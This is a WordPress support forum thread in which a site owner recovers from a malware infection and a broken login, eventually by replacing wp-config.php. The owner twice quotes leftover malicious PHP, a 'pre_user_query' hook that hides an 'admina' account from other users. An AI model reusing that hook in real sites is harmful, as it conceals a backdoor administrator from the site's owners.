Title: User Query Error
Last modified: August 31, 2016

---

# User Query Error

 *  Resolved [mikuberries](https://wordpress.org/support/users/mikuberries/)
 * (@mikuberries)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/)
 * My website was compromised with malware recently, but I was able to remove it
   yesterday. However, in the process of cleaning it out and getting it fixed – 
   the whole website broke and I can no longer log in.
 * [http://www.lovestarr.net](http://www.lovestarr.net)
 * I am getting this error on every page:
 * >  add_action(‘pre_user_query’,’yoursite_pre_user_query’); function yoursite_pre_user_query(
   > $user_search) { global $current_user; $username = $current_user->user_login;
   > if ($username != ‘admina’) { global $wpdb; $user_search->query_where = str_replace(‘
   > WHERE 1=1’, “WHERE 1=1 AND {$wpdb->users}.user_login != ‘admina'”,$user_search-
   > >query_where); } }
 * Also my /wp-admin and wp-login.php do not work and do not let me log in at all.
   I have tried googling solutions and results, but they are all too advanced for
   me (coding).
 * I don’t know what else to do at this point and would appreciate help in layman’s
   terms so I can try and fix it.

Viewing 8 replies - 1 through 8 (of 8 total)

 *  [bdbrown](https://wordpress.org/support/users/bdbrown/)
 * (@bdbrown)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400822)
 * Hi mikuberries.
 * >  I was able to remove it yesterday.
 * Not sure what process you used but you should read and follow this guide:
    [https://codex.wordpress.org/FAQ_My_site_was_hacked](https://codex.wordpress.org/FAQ_My_site_was_hacked)
 * When you’re done, you may want to implement some (if not all) of the recommended
   security measures here:
    [https://codex.wordpress.org/Hardening_WordPress](https://codex.wordpress.org/Hardening_WordPress)
 *  Thread Starter [mikuberries](https://wordpress.org/support/users/mikuberries/)
 * (@mikuberries)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400824)
 * I just did what my website host instructed me to do and I don’t know what else
   to do. I checked that link you sent me and thats basically what I did yesterday,
   but I was still getting errors.
 * If I run Securi SiteCheck on my personal computer, it says it doesn’t have malware.
   If it run it on my work computer, it says it does have malware and its not updated.
 * I don’t know what else to do when I can’t even log into my website. I was able
   to install WordFence AND Securi on it yesterday, but now it won’t let me log 
   in. I have already done everything I am able to do on my own.
 *  [bdbrown](https://wordpress.org/support/users/bdbrown/)
 * (@bdbrown)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400875)
 * > If I run Securi SiteCheck on my personal computer, it says it doesn’t have 
   > malware. If it run it on my work computer, it says it does have malware and
   > its not updated
 * This is logged in to the same site admin from two different computers?
 *  Thread Starter [mikuberries](https://wordpress.org/support/users/mikuberries/)
 * (@mikuberries)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400885)
 * I’m sorry, I am not understanding the question…
 * I cannot log into my WordPress admin at all, from either computer. The results
   I am receiving are from using the Securi Site Check.
 *  [bdbrown](https://wordpress.org/support/users/bdbrown/)
 * (@bdbrown)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400908)
 * I just ran the Securi SiteCheck on your site and didn’t receive any indications
   of malware. Here are a couple of resources that might help you regain access 
   to your site:
    [https://www.aabacosmallbusiness.com/advisor/cannot-login-wordpress-admin-area-5-solutions-113533282.html](https://www.aabacosmallbusiness.com/advisor/cannot-login-wordpress-admin-area-5-solutions-113533282.html)
   [https://codex.wordpress.org/Login_Trouble](https://codex.wordpress.org/Login_Trouble)
 *  Thread Starter [mikuberries](https://wordpress.org/support/users/mikuberries/)
 * (@mikuberries)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400937)
 * Well…
 * Bad news.
 * I tried everything on both the links you provided and I am still unable to log
   in.
 * I get this error on [http://www.lovestarr.net/wp-login.php](http://www.lovestarr.net/wp-login.php)
 * >  ERROR: Cookies are blocked due to unexpected output. For help, please see 
   > this documentation or try the support forums.
 * I already cleared my cookies and made sure it was setup correctly and it did 
   not change the error… I use Chrome.
 * On my [http://www.lovestarr.net/wp-admin/](http://www.lovestarr.net/wp-admin/)
   page, all I get is a blank page and this:
 * >  add_action(‘pre_user_query’,’yoursite_pre_user_query’); function yoursite_pre_user_query(
   > $user_search) { global $current_user; $username = $current_user->user_login;
   > if ($username != ‘admina’) { global $wpdb; $user_search->query_where = str_replace(‘
   > WHERE 1=1’, “WHERE 1=1 AND {$wpdb->users}.user_login != ‘admina'”,$user_search-
   > >query_where); } }
 * If I disable the themes, it gets rid of the error, BUT it continues to show a
   blank screen.
 * I uploaded a fresh wp-login.php file and nothing. The more advanced attempts 
   to fix this are beyond my level of experience and expertise. I don’t want to 
   mess something up beyond what it is…
 * I don’t know what to do anymore.
 *  Thread Starter [mikuberries](https://wordpress.org/support/users/mikuberries/)
 * (@mikuberries)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400940)
 * I fixed it. There was something wrong with the wp-config.php file. Just uploaded
   a fresh version and deleted the old one. Problem solved.
 *  [bdbrown](https://wordpress.org/support/users/bdbrown/)
 * (@bdbrown)
 * [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400941)
 * Five minutes ago I tried your site link and the login and admin links; all three
   were prompting to start the WordPress configuration. I just tried them again 
   now and your site is now active, and the login and admin links give me a WP login
   screen.
    And I just saw your post above. So, is everything back to normal now?

Viewing 8 replies - 1 through 8 (of 8 total)

The topic ‘User Query Error’ is closed to new replies.

## Tags

 * [Issues](https://wordpress.org/support/topic-tag/issues/)
 * [login](https://wordpress.org/support/topic-tag/login/)
 * [query](https://wordpress.org/support/topic-tag/query/)
 * [user](https://wordpress.org/support/topic-tag/user/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 8 replies
 * 2 participants
 * Last reply from: [bdbrown](https://wordpress.org/support/users/bdbrown/)
 * Last activity: [10 years ago](https://wordpress.org/support/topic/user-query-error/#post-7400941)
 * Status: resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
